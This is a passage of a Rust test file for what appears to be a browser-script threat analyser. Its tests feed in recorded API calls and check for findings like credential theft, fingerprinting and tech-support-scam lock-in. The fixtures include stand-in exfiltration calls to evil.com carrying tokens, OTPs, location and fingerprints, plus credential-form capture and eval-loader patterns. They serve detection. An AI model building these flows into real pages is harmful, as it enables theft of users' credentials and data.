3750
3751    #[test]
3752    fn wallet_plus_payment_request_is_multi_channel_theft() {
3753        let observations = vec![
3754            Observation::ApiCall {
3755                api: "ethereum.request".into(),
3756                args: vec![Value::string("[\"eth_requestAccounts\",\"[]\"]")],
3757                result: Value::Undefined,
3758            },
3759            Observation::ApiCall {
3760                api: "payment.request".into(),
3761                args: vec![Value::string("[\"[]\",\"{}\"]")],
3762                result: Value::Undefined,
3763            },
3764            Observation::ApiCall {
3765                api: "payment.show".into(),
3766                args: vec![Value::string("[]")],
3767                result: Value::Undefined,
3768            },
3769        ];
3770
3771        let report = analyze(&observations);
3772
3773        assert!(report.findings.iter().any(|f| {
3774            f.severity == Severity::Critical
3775                && f.category == Category::CryptoTheft
3776                && f.title
3777                    .contains("Wallet theft with browser payment coercion")
3778        }));
3779    }
3780
3781    #[test]
3782    fn notification_permission_plus_notification_create_is_reentry_channel() {
3783        let observations = vec![
3784            Observation::ApiCall {
3785                api: "notification.requestPermission".into(),
3786                args: vec![Value::string("[]")],
3787                result: Value::Undefined,
3788            },
3789            Observation::ApiCall {
3790                api: "notification.create".into(),
3791                args: vec![Value::string("[\"Verify now\",\"{}\"]")],
3792                result: Value::Undefined,
3793            },
3794        ];
3795
3796        let report = analyze(&observations);
3797
3798        assert!(report.findings.iter().any(|f| {
3799            f.severity == Severity::High
3800                && f.category == Category::Persistence
3801                && f.title.contains("Notification-based re-entry channel")
3802        }));
3803    }
3804
3805    #[test]
3806    fn geolocation_plus_fetch_is_location_exfiltration() {
3807        let observations = vec![
3808            Observation::ApiCall {
3809                api: "geolocation.getCurrentPosition".into(),
3810                args: vec![Value::string("[]")],
3811                result: Value::Undefined,
3812            },
3813            Observation::ApiCall {
3814                api: "fetch".into(),
3815                args: vec![Value::string("[\"https://evil.com/geo\",\"POST\"]")],
3816                result: Value::Undefined,
3817            },
3818        ];
3819
3820        let report = analyze(&observations);
3821
3822        assert!(report.findings.iter().any(|f| {
3823            f.severity == Severity::High
3824                && f.category == Category::PrivacyViolation
3825                && f.title
3826                    .contains("Location data collected and sent off-origin")
3827        }));
3828    }
3829
3830    #[test]
3831    fn credential_surface_plus_geolocation_is_geo_targeted_lure() {
3832        let observations = vec![
3833            Observation::ApiCall {
3834                api: "credential_form_detected".into(),
3835                args: vec![Value::string(
3836                    "[\"https://evil.com/collect\",\"password\",\"true\"]",
3837                )],
3838                result: Value::Undefined,
3839            },
3840            Observation::ApiCall {
3841                api: "geolocation.watchPosition".into(),
3842                args: vec![Value::string("[]")],
3843                result: Value::Undefined,
3844            },
3845        ];
3846
3847        let report = analyze(&observations);
3848
3849        assert!(report.findings.iter().any(|f| {
3850            f.severity == Severity::High
3851                && f.category == Category::CredentialTheft
3852                && f.title.contains("Geo-targeted credential lure")
3853        }));
3854    }
3855
3856    #[test]
3857    fn fingerprint_plus_timer_plus_fetch_is_delayed_network_staging() {
3858        let observations = vec![
3859            Observation::FingerprintAccess {
3860                api: "navigator.userAgent".into(),
3861                detail: "Mozilla/5.0".into(),
3862            },
3863            Observation::TimerSet {
3864                id: 1,
3865                delay_ms: 5000,
3866                is_interval: false,
3867                callback_preview: "fetch('https://evil.com/stage')".into(),
3868            },
3869            Observation::ApiCall {
3870                api: "fetch".into(),
3871                args: vec![Value::string("[\"https://evil.com/stage\",\"GET\"]")],
3872                result: Value::Undefined,
3873            },
3874        ];
3875
3876        let report = analyze(&observations);
3877
3878        assert!(report.findings.iter().any(|f| {
3879            f.severity == Severity::High
3880                && f.category == Category::Evasion
3881                && f.title
3882                    .contains("Fingerprint-gated delayed network staging")
3883        }));
3884    }
3885
3886    #[test]
3887    fn canvas_fingerprint_then_fetch_is_detected() {
3888        let observations = vec![
3889            Observation::FingerprintAccess {
3890                api: "canvas.measureText".into(),
3891                detail: "Arial".into(),
3892            },
3893            Observation::FingerprintAccess {
3894                api: "canvas.toDataURL".into(),
3895                detail: "image/png".into(),
3896            },
3897            Observation::ApiCall {
3898                api: "fetch".into(),
3899                args: vec![Value::string("[\"https://evil.com/fp\",\"POST\"]")],
3900                result: Value::Undefined,
3901            },
3902        ];
3903        let report = analyze(&observations);
3904        assert!(report.findings.iter().any(|f| {
3905            f.severity == Severity::High
3906                && f.category == Category::Fingerprinting
3907                && f.title
3908                    .contains("Render/audio fingerprinting with outbound delivery")
3909        }));
3910    }
3911
3912    #[test]
3913    fn webgl_audio_fingerprint_then_fetch_is_detected() {
3914        let observations = vec![
3915            Observation::FingerprintAccess {
3916                api: "canvas.getContext.webgl".into(),
3917                detail: "webgl".into(),
3918            },
3919            Observation::FingerprintAccess {
3920                api: "webgl.getParameter".into(),
3921                detail: "37445".into(),
3922            },
3923            Observation::FingerprintAccess {
3924                api: "AudioContext.construct".into(),
3925                detail: "AudioContext".into(),
3926            },
3927            Observation::FingerprintAccess {
3928                api: "audio.createOscillator".into(),
3929                detail: "AudioContext".into(),
3930            },
3931            Observation::ApiCall {
3932                api: "fetch".into(),
3933                args: vec![Value::string("[\"https://evil.com/render-fp\",\"POST\"]")],
3934                result: Value::Undefined,
3935            },
3936        ];
3937        let report = analyze(&observations);
3938        assert!(report.findings.iter().any(|f| {
3939            f.severity == Severity::High
3940                && f.category == Category::Fingerprinting
3941                && f.title
3942                    .contains("Render/audio fingerprinting with outbound delivery")
3943        }));
3944    }
3945
3946    #[test]
3947    fn resource_power_probe_then_fetch_is_detected() {
3948        let observations = vec![
3949            Observation::FingerprintAccess {
3950                api: "navigator.storage.estimate".into(),
3951                detail: "{\"quota\":1073741824,\"usage\":5242880}".into(),
3952            },
3953            Observation::FingerprintAccess {
3954                api: "navigator.getBattery".into(),
3955                detail: "1".into(),
3956            },
3957            Observation::ApiCall {
3958                api: "fetch".into(),
3959                args: vec![Value::string(
3960                    "[\"https://evil.com/resource-stage\",\"POST\"]",
3961                )],
3962                result: Value::Undefined,
3963            },
3964        ];
3965        let report = analyze(&observations);
3966        assert!(report.findings.iter().any(|f| {
3967            f.severity >= Severity::High
3968                && f.title.contains("Resource/power-aware staged targeting")
3969        }));
3970    }
3971
3972    #[test]
3973    fn webauthn_probe_then_fetch_is_detected() {
3974        let observations = vec![
3975            Observation::ApiCall {
3976                api: "PublicKeyCredential.isUserVerifyingPlatformAuthenticatorAvailable".into(),
3977                args: vec![],
3978                result: Value::Bool(true),
3979            },
3980            Observation::ApiCall {
3981                api: "PublicKeyCredential.get".into(),
3982                args: vec![Value::string("{\"publicKey\":{\"challenge\":\"abc\"}}")],
3983                result: Value::Undefined,
3984            },
3985            Observation::ApiCall {
3986                api: "fetch".into(),
3987                args: vec![Value::string(
3988                    "[\"https://evil.com/webauthn-stage\",\"POST\"]",
3989                )],
3990                result: Value::Undefined,
3991            },
3992        ];
3993        let report = analyze(&observations);
3994        assert!(report.findings.iter().any(|f| {
3995            f.severity >= Severity::High
3996                && f.title
3997                    .contains("Passkey/WebAuthn-targeted staged credential flow")
3998        }));
3999    }
4000
4001    #[test]
4002    fn local_data_targeting_then_fetch_is_detected() {
4003        let observations = vec![
4004            Observation::ApiCall {
4005                api: "showOpenFilePicker".into(),
4006                args: vec![Value::string("{\"types\":[{\"description\":\"CSV\"}]}")],
4007                result: Value::Undefined,
4008            },
4009            Observation::ApiCall {
4010                api: "navigator.contacts.select".into(),
4011                args: vec![Value::string("[\"name\",\"email\"]")],
4012                result: Value::Undefined,
4013            },
4014            Observation::ApiCall {
4015                api: "fetch".into(),
4016                args: vec![Value::string(
4017                    "[\"https://evil.com/local-data-stage\",\"POST\"]",
4018                )],
4019                result: Value::Undefined,
4020            },
4021        ];
4022        let report = analyze(&observations);
4023        assert!(report.findings.iter().any(|f| {
4024            f.severity >= Severity::High && f.title.contains("Local data-targeting staged flow")
4025        }));
4026    }
4027
4028    #[test]
4029    fn capture_device_targeting_then_fetch_is_detected() {
4030        let observations = vec![
4031            Observation::ApiCall {
4032                api: "navigator.mediaDevices.enumerateDevices".into(),
4033                args: vec![],
4034                result: Value::Undefined,
4035            },
4036            Observation::ApiCall {
4037                api: "navigator.mediaDevices.getDisplayMedia".into(),
4038                args: vec![Value::string("{\"video\":true}")],
4039                result: Value::Undefined,
4040            },
4041            Observation::ApiCall {
4042                api: "fetch".into(),
4043                args: vec![Value::string(
4044                    "[\"https://evil.com/capture-stage\",\"POST\"]",
4045                )],
4046                result: Value::Undefined,
4047            },
4048        ];
4049        let report = analyze(&observations);
4050        assert!(report.findings.iter().any(|f| {
4051            f.severity >= Severity::High && f.title.contains("Capture-device-targeted staged flow")
4052        }));
4053    }
4054
4055    #[test]
4056    fn lifecycle_hooks_plus_beacon_are_detected() {
4057        let observations = vec![
4058            Observation::ApiCall {
4059                api: "window.pagehide.register".into(),
4060                args: vec![Value::string("[\"listener\"]")],
4061                result: Value::Undefined,
4062            },
4063            Observation::ApiCall {
4064                api: "document.visibilitychange.register".into(),
4065                args: vec![Value::string("[\"listener\"]")],
4066                result: Value::Undefined,
4067            },
4068            Observation::ApiCall {
4069                api: "navigator.sendBeacon".into(),
4070                args: vec![Value::string("[\"https://evil.com/exit\",\"token=abc\"]")],
4071                result: Value::Bool(true),
4072            },
4073        ];
4074        let report = analyze(&observations);
4075        assert!(report.findings.iter().any(|f| {
4076            f.severity >= Severity::High
4077                && f.title.contains("Lifecycle-triggered exfiltration staging")
4078        }));
4079    }
4080
4081    #[test]
4082    fn install_surface_persistence_staging_is_detected() {
4083        let observations = vec![
4084            Observation::ApiCall {
4085                api: "navigator.registerProtocolHandler".into(),
4086                args: vec![Value::string(
4087                    "[\"web+pay\",\"https://evil.com/?u=%s\",\"Secure Pay\"]",
4088                )],
4089                result: Value::Undefined,
4090            },
4091            Observation::ApiCall {
4092                api: "launchQueue.setConsumer".into(),
4093                args: vec![],
4094                result: Value::Undefined,
4095            },
4096            Observation::ApiCall {
4097                api: "localStorage.setItem".into(),
4098                args: vec![Value::string("[\"campaign\",\"persist\"]")],
4099                result: Value::Undefined,
4100            },
4101            Observation::ApiCall {
4102                api: "serviceworker.register".into(),
4103                args: vec![Value::string("[\"/sw.js\"]")],
4104                result: Value::Undefined,
4105            },
4106        ];
4107        let report = analyze(&observations);
4108        assert!(report.findings.iter().any(|f| {
4109            f.severity >= Severity::High && f.title.contains("Install-surface persistence staging")
4110        }));
4111    }
4112
4113    #[test]
4114    fn offline_push_persistence_staging_is_detected() {
4115        let observations = vec![
4116            Observation::ApiCall {
4117                api: "serviceworker.register".into(),
4118                args: vec![Value::string("[\"/sw.js?offline=stage\"]")],
4119                result: Value::Undefined,
4120            },
4121            Observation::ApiCall {
4122                api: "caches.open".into(),
4123                args: vec![Value::string("[\"stage-cache\"]")],
4124                result: Value::Undefined,
4125            },
4126            Observation::ApiCall {
4127                api: "cache.put".into(),
4128                args: vec![Value::string("[\"https://evil.com/offline-payload.js\"]")],
4129                result: Value::Undefined,
4130            },
4131            Observation::ApiCall {
4132                api: "pushManager.subscribe".into(),
4133                args: vec![Value::string("[{\"userVisibleOnly\":true}]")],
4134                result: Value::Undefined,
4135            },
4136            Observation::ApiCall {
4137                api: "sync.register".into(),
4138                args: vec![Value::string("[\"credential-stage\"]")],
4139                result: Value::Undefined,
4140            },
4141            Observation::ApiCall {
4142                api: "fetch".into(),
4143                args: vec![Value::string(
4144                    "[\"https://evil.com/offline-stage\",\"POST\"]",
4145                )],
4146                result: Value::Undefined,
4147            },
4148        ];
4149        let report = analyze(&observations);
4150        assert!(report.findings.iter().any(|f| {
4151            f.severity >= Severity::High && f.title.contains("Offline/push persistence staging")
4152        }));
4153    }
4154
4155    #[test]
4156    fn delayed_credential_lure_activation_is_detected() {
4157        let observations = vec![
4158            Observation::TimerSet {
4159                id: 1,
4160                delay_ms: 5000,
4161                is_interval: false,
4162                callback_preview: "show_login()".into(),
4163            },
4164            Observation::ApiCall {
4165                api: "credential_form_detected".into(),
4166                args: vec![Value::string(
4167                    "[\"https://evil.com/collect\",\"password\",\"true\"]",
4168                )],
4169                result: Value::Undefined,
4170            },
4171        ];
4172
4173        let report = analyze(&observations);
4174
4175        assert!(report.findings.iter().any(|f| {
4176            f.severity == Severity::High
4177                && f.category == Category::CredentialTheft
4178                && f.title.contains("Delayed credential lure activation")
4179        }));
4180    }
4181
4182    #[test]
4183    fn navigator_property_reads_count_as_fingerprinting() {
4184        let observations = vec![
4185            Observation::PropertyRead {
4186                object: "navigator".into(),
4187                property: "userAgent".into(),
4188                value: Value::string("Mozilla/5.0"),
4189            },
4190            Observation::TimerSet {
4191                id: 1,
4192                delay_ms: 5000,
4193                is_interval: false,
4194                callback_preview: "fetch('https://evil.com/stage')".into(),
4195            },
4196            Observation::ApiCall {
4197                api: "fetch".into(),
4198                args: vec![Value::string("[\"https://evil.com/stage\",\"GET\"]")],
4199                result: Value::Undefined,
4200            },
4201        ];
4202
4203        let report = analyze(&observations);
4204
4205        assert!(report.findings.iter().any(|f| {
4206            f.category == Category::Fingerprinting && f.title.contains("navigator.userAgent")
4207        }));
4208        assert!(report.findings.iter().any(|f| {
4209            f.severity == Severity::High
4210                && f.category == Category::Evasion
4211                && f.title
4212                    .contains("Fingerprint-gated delayed network staging")
4213        }));
4214    }
4215
4216    #[test]
4217    fn visibility_state_gating_before_fetch_is_detected() {
4218        let observations = vec![
4219            Observation::ApiCall {
4220                api: "fingerprint.read".into(),
4221                args: vec![Value::string("[\"document.visibilityState\",\"visible\"]")],
4222                result: Value::Undefined,
4223            },
4224            Observation::ApiCall {
4225                api: "fetch".into(),
4226                args: vec![Value::string("[\"https://evil.com/stage\",\"GET\"]")],
4227                result: Value::Undefined,
4228            },
4229        ];
4230
4231        let report = analyze(&observations);
4232
4233        assert!(report.findings.iter().any(|f| {
4234            f.severity == Severity::High
4235                && f.category == Category::Evasion
4236                && f.title.contains("Analysis-aware environment gating")
4237        }));
4238    }
4239
4240    #[test]
4241    fn credential_surface_plus_paste_monitor_and_clipboard_read_is_detected() {
4242        let observations = vec![
4243            Observation::ApiCall {
4244                api: "credential_form_detected".into(),
4245                args: vec![Value::string(
4246                    "[\"https://evil.com/collect\",\"password\",\"true\"]",
4247                )],
4248                result: Value::Undefined,
4249            },
4250            Observation::ApiCall {
4251                api: "element.addEventListener".into(),
4252                args: vec![Value::string("[12,\"paste\"]")],
4253                result: Value::Undefined,
4254            },
4255            Observation::ApiCall {
4256                api: "clipboard.readText".into(),
4257                args: vec![Value::string("[]")],
4258                result: Value::string("123456"),
4259            },
4260        ];
4261
4262        let report = analyze(&observations);
4263
4264        assert!(report.findings.iter().any(|f| {
4265            f.severity == Severity::Critical
4266                && f.category == Category::CredentialTheft
4267                && f.title.contains("Pasted secret interception")
4268        }));
4269    }
4270
4271    #[test]
4272    fn credential_surface_plus_input_monitor_is_interception() {
4273        let observations = vec![
4274            Observation::ApiCall {
4275                api: "credential_form_detected".into(),
4276                args: vec![Value::string(
4277                    "[\"https://evil.com/collect\",\"password\",\"true\"]",
4278                )],
4279                result: Value::Undefined,
4280            },
4281            Observation::ApiCall {
4282                api: "element.addEventListener".into(),
4283                args: vec![Value::string("[12,\"keydown\"]")],
4284                result: Value::Undefined,
4285            },
4286        ];
4287
4288        let report = analyze(&observations);
4289
4290        assert!(report.findings.iter().any(|f| {
4291            f.severity == Severity::High
4292                && f.category == Category::CredentialTheft
4293                && f.title.contains("Credential field input interception")
4294        }));
4295    }
4296
4297    #[test]
4298    fn urgent_dialog_plus_beforeunload_is_modal_lockin() {
4299        let observations = vec![
4300            Observation::ApiCall {
4301                api: "window.alert".into(),
4302                args: vec![Value::string("[\"Windows Defender Warning\"]")],
4303                result: Value::Undefined,
4304            },
4305            Observation::ApiCall {
4306                api: "window.beforeunload.register".into(),
4307                args: vec![Value::string("[\"Stay here\"]")],
4308                result: Value::Undefined,
4309            },
4310        ];
4311
4312        let report = analyze(&observations);
4313        assert!(report.findings.iter().any(|f| {
4314            f.severity == Severity::High
4315                && f.category == Category::Evasion
4316                && f.title.contains("Modal lock-in and navigation trapping")
4317        }));
4318    }
4319
4320    #[test]
4321    fn modal_lockin_plus_fetch_is_tech_support_style_staging() {
4322        let observations = vec![
4323            Observation::ApiCall {
4324                api: "window.confirm".into(),
4325                args: vec![Value::string("[\"Call Microsoft Support immediately?\"]")],
4326                result: Value::Undefined,
4327            },
4328            Observation::ApiCall {
4329                api: "window.beforeunload.register".into(),
4330                args: vec![Value::string("[\"Your computer is infected\"]")],
4331                result: Value::Undefined,
4332            },
4333            Observation::ApiCall {
4334                api: "fetch".into(),
4335                args: vec![Value::string("[\"https://evil.com/lockin\",\"GET\"]")],
4336                result: Value::Undefined,
4337            },
4338        ];
4339
4340        let report = analyze(&observations);
4341        assert!(report.findings.iter().any(|f| {
4342            f.severity == Severity::Critical
4343                && f.category == Category::Evasion
4344                && f.title
4345                    .contains("Tech-support style lock-in with off-origin staging")
4346        }));
4347    }
4348
4349    #[test]
4350    fn urgent_dialog_plus_fullscreen_is_modal_lockin() {
4351        let observations = vec![
4352            Observation::ApiCall {
4353                api: "window.alert".into(),
4354                args: vec![Value::string("[\"Windows Defender Warning\"]")],
4355                result: Value::Undefined,
4356            },
4357            Observation::ApiCall {
4358                api: "element.requestFullscreen".into(),
4359                args: vec![Value::string("[1]")],
4360                result: Value::Undefined,
4361            },
4362        ];
4363
4364        let report = analyze(&observations);
4365        assert!(report.findings.iter().any(|f| {
4366            f.severity == Severity::High
4367                && f.category == Category::Evasion
4368                && f.title.contains("Modal lock-in and navigation trapping")
4369        }));
4370    }
4371
4372    #[test]
4373    fn modal_lockin_plus_pointer_lock_and_fetch_is_tech_support_style_staging() {
4374        let observations = vec![
4375            Observation::ApiCall {
4376                api: "window.confirm".into(),
4377                args: vec![Value::string("[\"Call Microsoft Support immediately?\"]")],
4378                result: Value::Undefined,
4379            },
4380            Observation::ApiCall {
4381                api: "element.requestPointerLock".into(),
4382                args: vec![Value::string("[1]")],
4383                result: Value::Undefined,
4384            },
4385            Observation::ApiCall {
4386                api: "fetch".into(),
4387                args: vec![Value::string("[\"https://evil.com/lockin\",\"GET\"]")],
4388                result: Value::Undefined,
4389            },
4390        ];
4391
4392        let report = analyze(&observations);
4393        assert!(report.findings.iter().any(|f| {
4394            f.severity == Severity::Critical
4395                && f.category == Category::Evasion
4396                && f.title
4397                    .contains("Tech-support style lock-in with off-origin staging")
4398        }));
4399    }
4400
4401    #[test]
4402    fn urgent_dialog_plus_vibration_is_alarm_style_coercion() {
4403        let observations = vec![
4404            Observation::ApiCall {
4405                api: "window.alert".into(),
4406                args: vec![Value::string("[\"Windows Defender Warning\"]")],
4407                result: Value::Undefined,
4408            },
4409            Observation::ApiCall {
4410                api: "navigator.vibrate".into(),
4411                args: vec![Value::string("[[200,100,200]]")],
4412                result: Value::Undefined,
4413            },
4414        ];
4415
4416        let report = analyze(&observations);
4417        assert!(report.findings.iter().any(|f| {
4418            f.severity == Severity::High
4419                && f.category == Category::Evasion
4420                && f.title.contains("Alarm-style coercion cues")
4421        }));
4422    }
4423
4424    #[test]
4425    fn urgent_dialog_plus_speech_and_fetch_is_alarm_style_staging() {
4426        let observations = vec![
4427            Observation::ApiCall {
4428                api: "window.confirm".into(),
4429                args: vec![Value::string("[\"Call Microsoft Support immediately?\"]")],
4430                result: Value::Undefined,
4431            },
4432            Observation::ApiCall {
4433                api: "speechSynthesis.speak".into(),
4434                args: vec![Value::string("[\"Your device is infected\"]")],
4435                result: Value::Undefined,
4436            },
4437            Observation::ApiCall {
4438                api: "fetch".into(),
4439                args: vec![Value::string("[\"https://evil.com/panic\",\"GET\"]")],
4440                result: Value::Undefined,
4441            },
4442        ];
4443
4444        let report = analyze(&observations);
4445        assert!(report.findings.iter().any(|f| {
4446            f.severity == Severity::Critical
4447                && f.category == Category::Evasion
4448                && f.title
4449                    .contains("Alarm-style coercion with off-origin staging")
4450        }));
4451    }
4452
4453    #[test]
4454    fn credential_surface_plus_input_monitor_and_fetch_is_interactive_relay() {
4455        let observations = vec![
4456            Observation::ApiCall {
4457                api: "credential_form_detected".into(),
4458                args: vec![Value::string(
4459                    "[\"https://evil.com/collect\",\"password\",\"true\"]",
4460                )],
4461                result: Value::Undefined,
4462            },
4463            Observation::ApiCall {
4464                api: "element.addEventListener".into(),
4465                args: vec![Value::string("[12,\"input\"]")],
4466                result: Value::Undefined,
4467            },
4468            Observation::ApiCall {
4469                api: "fetch".into(),
4470                args: vec![Value::string("[\"https://evil.com/stream\",\"POST\"]")],
4471                result: Value::Undefined,
4472            },
4473        ];
4474
4475        let report = analyze(&observations);
4476
4477        assert!(report.findings.iter().any(|f| {
4478            f.severity == Severity::Critical
4479                && f.category == Category::CredentialTheft
4480                && f.title
4481                    .contains("Interactive credential interception and relay")
4482        }));
4483    }
4484
4485    #[test]
4486    fn credential_surface_plus_window_name_and_fetch_is_detected() {
4487        let observations = vec![
4488            Observation::ApiCall {
4489                api: "window.name.set".into(),
4490                args: vec![Value::string("[\"https://evil.com/steal\"]")],
4491                result: Value::Undefined,
4492            },
4493            Observation::ApiCall {
4494                api: "credential_form_detected".into(),
4495                args: vec![Value::string(
4496                    "[\"https://evil.com/collect\",\"password\",\"true\"]",
4497                )],
4498                result: Value::Undefined,
4499            },
4500            Observation::ApiCall {
4501                api: "fetch".into(),
4502                args: vec![Value::string("[\"https://evil.com/steal\",\"POST\"]")],
4503                result: Value::Undefined,
4504            },
4505        ];
4506
4507        let report = analyze(&observations);
4508
4509        assert!(report.findings.iter().any(|f| {
4510            f.severity == Severity::Critical
4511                && f.category == Category::CredentialTheft
4512                && f.title.contains("Credential relay via window.name")
4513        }));
4514        assert!(report.findings.iter().any(|f| {
4515            f.severity == Severity::Critical
4516                && f.category == Category::Persistence
4517                && f.title
4518                    .contains("Cross-navigation covert staging via window.name")
4519        }));
4520    }
4521
4522    #[test]
4523    fn credential_surface_plus_sharedworker_message_is_detected() {
4524        let observations = vec![
4525            Observation::ApiCall {
4526                api: "credential_form_detected".into(),
4527                args: vec![Value::string(
4528                    "[\"https://evil.com/collect\",\"password\",\"true\"]",
4529                )],
4530                result: Value::Undefined,
4531            },
4532            Observation::ApiCall {
4533                api: "sharedworker.create".into(),
4534                args: vec![Value::string("[\"https://evil.com/relay.js\"]")],
4535                result: Value::Undefined,
4536            },
4537            Observation::ApiCall {
4538                api: "sharedworker.port.postMessage".into(),
4539                args: vec![Value::string(
4540                    "[\"https://evil.com/relay.js\",\"otp=123456\"]",
4541                )],
4542                result: Value::Undefined,
4543            },
4544        ];
4545
4546        let report = analyze(&observations);
4547
4548        assert!(report.findings.iter().any(|f| {
4549            f.severity == Severity::Critical
4550                && f.category == Category::CredentialTheft
4551                && f.title.contains("Credential relay via SharedWorker")
4552        }));
4553        assert!(report.findings.iter().any(|f| {
4554            f.severity == Severity::Critical
4555                && f.category == Category::CredentialTheft
4556                && f.title
4557                    .contains("Credential relay via in-browser covert channels")
4558        }));
4559    }
4560
4561    #[test]
4562    fn credential_api_plus_fetch_is_detected() {
4563        let observations = vec![
4564            Observation::ApiCall {
4565                api: "credentials.create".into(),
4566                args: vec![Value::string(
4567                    "[\"{\\\"id\\\":\\\"victim@example.com\\\"}\"]",
4568                )],
4569                result: Value::Undefined,
4570            },
4571            Observation::ApiCall {
4572                api: "PasswordCredential".into(),
4573                args: vec![Value::string("[\"victim@example.com\"]")],
4574                result: Value::Undefined,
4575            },
4576            Observation::ApiCall {
4577                api: "fetch".into(),
4578                args: vec![Value::string("[\"https://evil.com/collect\",\"POST\"]")],
4579                result: Value::Undefined,
4580            },
4581        ];
4582
4583        let report = analyze(&observations);
4584
4585        assert!(report.findings.iter().any(|f| {
4586            f.severity == Severity::Critical
4587                && f.category == Category::CredentialTheft
4588                && f.title
4589                    .contains("Credential API abuse with off-origin activity")
4590        }));
4591    }
4592
4593    #[test]
4594    fn indexeddb_backed_credential_staging_is_detected() {
4595        let observations = vec![
4596            Observation::ApiCall {
4597                api: "credential_form_detected".into(),
4598                args: vec![Value::string("[\"https://evil.com/login\",\"POST\",true]")],
4599                result: Value::Undefined,
4600            },
4601            Observation::ApiCall {
4602                api: "indexedDB.open".into(),
4603                args: vec![Value::string("[\"vault\",1]")],
4604                result: Value::Undefined,
4605            },
4606            Observation::ApiCall {
4607                api: "fetch".into(),
4608                args: vec![Value::string("[\"https://evil.com/collect\",\"POST\"]")],
4609                result: Value::Undefined,
4610            },
4611        ];
4612        let report = analyze(&observations);
4613        assert!(report.findings.iter().any(|f| {
4614            f.severity == Severity::Critical
4615                && f.category == Category::Persistence
4616                && f.title.contains("IndexedDB-backed credential staging")
4617        }));
4618    }
4619
4620    #[test]
4621    fn trusted_types_and_scheduler_staging_are_detected() {
4622        let observations = vec![
4623            Observation::ApiCall {
4624                api: "trustedTypes.createPolicy".into(),
4625                args: vec![Value::string("[\"stage-loader\"]")],
4626                result: Value::Undefined,
4627            },
4628            Observation::ApiCall {
4629                api: "scheduler.postTask".into(),
4630                args: vec![Value::string("[\"background\"]")],
4631                result: Value::Undefined,
4632            },
4633            Observation::ApiCall {
4634                api: "serviceworker.register".into(),
4635                args: vec![Value::string("[\"https://evil.com/sw.js\"]")],
4636                result: Value::Undefined,
4637            },
4638            Observation::ApiCall {
4639                api: "fetch".into(),
4640                args: vec![Value::string("[\"https://evil.com/stage\",\"GET\"]")],
4641                result: Value::Undefined,
4642            },
4643        ];
4644        let report = analyze(&observations);
4645        assert!(report.findings.iter().any(|f| {
4646            f.severity >= Severity::High
4647                && f.category == Category::Evasion
4648                && f.title.contains("Scheduler-driven delayed staging")
4649        }));
4650        assert!(report.findings.iter().any(|f| {
4651            f.severity >= Severity::Medium
4652                && f.category == Category::Evasion
4653                && f.title.contains("Trusted Types policy")
4654        }));
4655    }
4656
4657    #[test]
4658    fn request_idle_callback_staging_is_detected() {
4659        let observations = vec![
4660            Observation::ApiCall {
4661                api: "requestIdleCallback".into(),
4662                args: vec![Value::string("[\"250\"]")],
4663                result: Value::Undefined,
4664            },
4665            Observation::ApiCall {
4666                api: "serviceworker.register".into(),
4667                args: vec![Value::string("[\"https://evil.com/sw.js\"]")],
4668                result: Value::Undefined,
4669            },
4670            Observation::ApiCall {
4671                api: "fetch".into(),
4672                args: vec![Value::string("[\"https://evil.com/stage\",\"GET\"]")],
4673                result: Value::Undefined,
4674            },
4675        ];
4676        let report = analyze(&observations);
4677        assert!(report.findings.iter().any(|f| {
4678            f.severity >= Severity::High
4679                && f.category == Category::Evasion
4680                && f.title.contains("Scheduler-driven delayed staging")
4681        }));
4682        assert!(report.findings.iter().any(|f| {
4683            f.severity >= Severity::Medium
4684                && f.category == Category::Evasion
4685                && f.title.contains("requestIdleCallback")
4686        }));
4687    }
4688
4689    #[test]
4690    fn animation_frame_and_microtask_staging_are_detected() {
4691        let observations = vec![
4692            Observation::ApiCall {
4693                api: "requestAnimationFrame".into(),
4694                args: vec![Value::string("[]")],
4695                result: Value::Undefined,
4696            },
4697            Observation::ApiCall {
4698                api: "queueMicrotask".into(),
4699                args: vec![Value::string("[]")],
4700                result: Value::Undefined,
4701            },
4702            Observation::ApiCall {
4703                api: "serviceworker.register".into(),
4704                args: vec![Value::string("[\"https://evil.com/sw.js\"]")],
4705                result: Value::Undefined,
4706            },
4707            Observation::ApiCall {
4708                api: "fetch".into(),
4709                args: vec![Value::string("[\"https://evil.com/stage\",\"GET\"]")],
4710                result: Value::Undefined,
4711            },
4712        ];
4713        let report = analyze(&observations);
4714        assert!(report.findings.iter().any(|f| {
4715            f.severity >= Severity::High
4716                && f.category == Category::Evasion
4717                && f.title.contains("Scheduler-driven delayed staging")
4718        }));
4719        assert!(report.findings.iter().any(|f| {
4720            f.severity >= Severity::Medium
4721                && f.category == Category::Evasion
4722                && f.title.contains("requestAnimationFrame")
4723        }));
4724        assert!(report.findings.iter().any(|f| {
4725            f.severity >= Severity::Medium
4726                && f.category == Category::Evasion
4727                && f.title.contains("queueMicrotask")
4728        }));
4729    }
4730
4731    #[test]
4732    fn current_script_plus_dynamic_code_is_detected() {
4733        let observations = vec![
4734            Observation::ApiCall {
4735                api: "fingerprint.read".into(),
4736                args: vec![Value::string(
4737                    "[\"document.currentScript\",\"[object HTMLScriptElement]\"]",
4738                )],
4739                result: Value::Undefined,
4740            },
4741            Observation::DynamicCodeExec {
4742                source: crate::observation::DynamicCodeSource::Eval,
4743                code_preview: "eval(document.currentScript.textContent)".into(),
4744            },
4745        ];
4746        let report = analyze(&observations);
4747        assert!(report.findings.iter().any(|f| {
4748            f.severity >= Severity::High
4749                && f.category == Category::Evasion
4750                && f.title.contains("Self-referential dynamic loader")
4751        }));
4752    }
4753
4754    #[test]
4755    fn encrypted_payload_staging_is_detected() {
4756        let observations = vec![
4757            Observation::ApiCall {
4758                api: "crypto.subtle.importKey".into(),
4759                args: vec![Value::string("[\"raw\"]")],
4760                result: Value::Undefined,
4761            },
4762            Observation::ApiCall {
4763                api: "crypto.subtle.decrypt".into(),
4764                args: vec![Value::string("[\"AES-GCM\"]")],
4765                result: Value::Undefined,
4766            },
4767            Observation::ApiCall {
4768                api: "fetch".into(),
4769                args: vec![Value::string("[\"https://evil.com/stage\",\"POST\"]")],
4770                result: Value::Undefined,
4771            },
4772        ];
4773        let report = analyze(&observations);
4774        assert!(report.findings.iter().any(|f| {
4775            f.severity >= Severity::High
4776                && f.category == Category::CodeInjection
4777                && f.title
4778                    .contains("Encrypted payload staging and action delivery")
4779        }));
4780    }
4781
4782    #[test]
4783    fn decrypted_payload_plus_dynamic_code_is_detected() {
4784        let observations = vec![
4785            Observation::ApiCall {
4786                api: "crypto.subtle.decrypt".into(),
4787                args: vec![Value::string("[\"AES-GCM\"]")],
4788                result: Value::Undefined,
4789            },
4790            Observation::DynamicCodeExec {
4791                source: crate::observation::DynamicCodeSource::Eval,
